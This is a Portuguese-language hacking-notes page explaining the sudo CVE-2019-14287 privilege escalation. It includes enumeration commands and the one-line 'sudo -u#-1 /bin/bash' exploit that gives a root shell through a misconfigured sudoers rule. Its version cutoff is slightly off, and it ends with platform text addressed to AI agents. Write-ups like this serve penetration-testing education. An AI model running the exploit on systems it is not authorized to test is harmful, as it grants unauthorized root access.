> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/sudoers/sudo-version-vulnerabilities-linux-privilege-escalation/sudo-version-1.8.27-cve-2019-14287.md).

# sudo 1.8.27 CVE-2019-14287

## O que é

A escalada de privilégios via Sudoers começa com os comandos que um usuário pode executar por meio de `sudo`. Binários mal configurados, argumentos de script inseguros, tratamento de links simbólicos e versões vulneráveis do sudo podem transformar permissões limitadas de sudo em um shell root. Esta página específica foca em **sudo 1.8.27 \[CVE-2019-14287]** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
sudo -l
sudo --version
```

## Exemplos

### Abusando do privilégio sudo (CVE-2019-14287):

Ao examinar os privilégios sudo, descobrimos uma configuração vulnerável no arquivo sudoers. Usando o `sudo -l` comando, identificamos um privilégio para conectar-se a todos os usuários, exceto `root`, com o `/bin/bash` comando:

<figure><img src="/files/3e72b97a60df166f2686659daec13b6aa5c09651" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

Esta vulnerabilidade afeta todas as versões do sudo anteriores à 1.8.27.

No nosso caso, a versão do sudo é inferior a 1.8.27, tornando essa vulnerabilidade explorável.

<figure><img src="/files/0d8d7d6f97df460cc9803621ac70f89307e16a72" alt="" width="510"><figcaption></figcaption></figure>

Para explorar essa vulnerabilidade, basta executar o seguinte comando:

```bash
sudo -u#-1 /bin/bash
```

Este comando permite executar um shell como o usuário `-1`, que corresponde ao usuário `root`.

<figure><img src="/files/59bd9b52931dc0980bafd7be92170b335433b8fb" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/sudoers/sudo-version-vulnerabilities-linux-privilege-escalation/sudo-version-1.8.27-cve-2019-14287.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
